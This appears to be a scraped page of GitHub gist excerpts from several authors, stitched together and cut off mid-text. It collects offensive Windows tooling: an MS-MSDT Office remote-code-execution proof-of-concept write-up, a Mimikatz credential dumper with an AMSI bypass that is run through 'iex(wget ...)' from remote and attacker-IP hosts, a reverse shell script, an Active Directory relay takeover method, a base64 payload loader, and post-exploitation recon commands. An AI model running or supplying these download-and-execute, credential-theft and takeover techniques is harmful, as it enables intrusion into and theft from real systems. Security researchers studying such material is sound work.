tothi

MS-MSDT 0-day Office RCE

MS Office docx files may contain external OLE Object references as HTML files. There is an HTML sceme "ms-msdt:" which invokes the msdt diagnostic tool, what is capable of executing arbitrary code (specified in parameters).

The result is a terrifying attack vector for getting RCE through opening malicious docx files (without using macros).

Here are the steps to build a Proof-of-Concept docx:

1. Open Word (used up-to-date 2019 Pro, 16.0.10386.20017), create a dummy document, insert an (OLE) object (as a Bitmap Image), save it in docx.

pich4ya

# TLDR:
# iex(wget https://gist.github.com/pich4ya/e93abe76d97bd1cf67bfba8dce9c0093/raw/e32760420ae642123599b6c9c2fddde2ecaf7a2b/Invoke-OneShot-Mimikatz.ps1 -UseBasicParsing)
#
# @author Pichaya Morimoto ([email protected])
# One Shot for M1m1katz PowerShell Dump All Creds with AMSI Bypass 2022 Edition
# (Tested and worked on Windows 10 x64 patched 2022-03-26)
#
# Usage:
# 1. You need a local admin user's powershell with Medium Mandatory Level (whoami /all)
# 2. iex(wget https://attacker-local-ip/Invoke-OneShot-Mimikatz.ps1 -UseBasicParsing)

qtc-de

<#

DynWin32-ReverseShell.ps1 is a reverse shell based on dynamically looked up Win32 API calls.
The script uses reflection to obtain access to GetModuleHandle, GetProcAddress and CreateProcess.
Afterwards it uses GetModuleHandle and GetProcAddress to resolve the required WSA functions
from ws2_32.dll.

This script should be used for educational purposes only (and maybe while playing CTF :D).
It was only tested on Windows 10 (x64) and is probably not stable or portable. It's only
purpose is to demonstrate the usage of reflective lookups of Win32 API calls. See it as

gladiatx0r

Overview

In the default configuration of Active Directory, it is possible to remotely take over Workstations (Windows 7/10/11) and possibly servers (if Desktop Experience is installed) when their WebClient service is running. This is accomplished in short by;

• Triggering machine authentication over HTTP via either MS-RPRN or MS-EFSRPC (as demonstrated by @tifkin_). This requires a set of credentials for the RPC call.
• Relaying that machine authentication to LDAPS for configuring RBCD
• RBCD takeover

The caveat to this is that the WebClient service does not automatically start at boot. However, if the WebClient service has been triggered to start on a workstation (for example, via some SharePoint interactions), you can remotely take over that system. In addition, there are several ways to coerce the WebClient service to start remotely which I cover in a section below.

zaneGittins

# Check SMB Signing
function Get-SMBSigningStatus {
    [CmdletBinding()]
    $SMBSigning = (Get-ItemProperty "HKLM:\System\CurrentControlSet\Services\LanManWorkstation\Parameters" -Name RequireSecuritySignature).RequireSecuritySignature
    $Results = @()

    if($SMBSigning -eq 1) {
        return $true
    } else {
        return $false

w00tc

Retrieves all of the trust relationships for this domain - Does not Grab Forest Trusts 

([System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()).GetAllTrustRelationships()


Grab Forest Trusts.

([System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()).GetAllTrustRelationships()

vortexau

$base64data = "insert compressed and base64 data here"
$data = [System.Convert]::FromBase64String($base64data)
$ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null

$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress))

while ($line = $sr.ReadLine()) {  

sckalath

// What system are we connected to?
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"

// Get the hostname and username (if available)
hostname
echo %username%

// Get users
net users
net user [username]